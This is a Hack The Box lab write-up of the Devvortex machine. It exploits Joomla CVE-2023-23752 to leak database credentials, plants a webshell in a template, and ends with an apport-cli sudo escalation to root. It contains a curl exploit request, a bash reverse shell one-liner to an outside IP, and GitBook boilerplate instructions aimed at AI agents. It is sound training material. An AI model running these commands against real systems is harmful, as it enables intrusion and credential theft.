> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-oscp-machines/htb-devvortex.md).
# HTB - Devvortex
## Enumeration and Foothold
### NMAP
```bash
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```
### HTTP (devvortex.htb)
Browsing to port 80 leaked the domain name, add it to hosts file
once added refresh the page to access the web application.
there is a contact form on the page but it is static.
enumerating hidden subdomains leaked a new subdomain called `dev.devvortex.htb`
add the new subdomain to the hosts file.
### dev.devvortex.htb
directory enumeration revealed some interesting directories.
reading robots.txt reveals all the hidden directories.
i can access the administrator directory, which reveals a joomla login page.
the readme.txt file revealed the version of Joomla CMS which 4.2 but i need the exact version number which is revealed by reading the below file.
and the version is 4.2.6
The CVE i am interested is the CVE-2023-23752.
## CVE-2023-23752
an unauthenticated info disclosure via the Joomla API that leaks DB creds.
{% embed url="" %}
```json
┌──(ajay㉿kali)-[~]
└─$ curl -s "http://dev.devvortex.htb/api/index.php/v1/config/application?public=true" | python3 -m json.tool
{
"links": {
"self": "http://dev.devvortex.htb/api/index.php/v1/config/application?public=true",
"next": "http://dev.devvortex.htb/api/index.php/v1/config/application?public=true&page%5Boffset%5D=20&page%5Blimit%5D=20",
"last": "http://dev.devvortex.htb/api/index.php/v1/config/application?public=true&page%5Boffset%5D=60&page%5Blimit%5D=20"
},
"data": [
{
"type": "application",
"id": "224",
"attributes": {
"offline": false,
"id": 224
}
},
{
"type": "application",
"id": "224",
"attributes": {
"offline_message": "This site is down for maintenance. Please check back again soon.",
"id": 224
}
},
{
"type": "application",
"id": "224",
"attributes": {
"user": "lewis",
"id": 224
}
{
"type": "application",
"id": "224",
"attributes": {
"password": "P4ntherg0t1n5r3c0n##",
"id": 224
}
},
{
```
leaked the credentials for Lewis User.
using this credentials i can try to login to the joomla portal.
### Joomla
LOGIN SUCCESSFUL.
That said i will try to get RCE.
### Joomla Template Webshell Method
System → Templates → Administrator Templates → Atum Details and Files
* Click any `.php` file (e.g. `error.php`)
* Add your shell at the top:
now save the php file and query it to get shell.
RCE confirmed.
Getting Reverse shell.
```bash
┌──(ajay㉿kali)-[~]
└─$ curl -s "http://dev.devvortex.htb/administrator/templates/atum/error.php" \
--get \
--data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.14.52/4444 0>&1'"
```
## Shell as www-data
we need access as logan.
reading configuration file revealed that the creds for lewis also work against mysql.
crack logan hash.
We can ssh as logan with the found credentials.
## Shell as Logan
logan can run `/usr/bin/apport-cli` as root without password.
```bash
logan@devvortex:~$ sudo /usr/bin/apport-cli -v
2.20.11
logan@devvortex:~$
```
version is vulnerable to it.
now we create a crash file to trigger less.
```bash
logan@devvortex:~$ sleep 10 &
[1] 1751
logan@devvortex:~$ kill -SIGSEGV $!
logan@devvortex:~$
[1]+ Segmentation fault (core dumped) sleep 10
logan@devvortex:~$
logan@devvortex:~$ ls /var/crash/
_usr_bin_sleep.1000.crash
logan@devvortex:~$
```
enter V to view through less.
and escape the less by entering the below to spawn root shell
## Shell as Root
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-oscp-machines/htb-devvortex.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
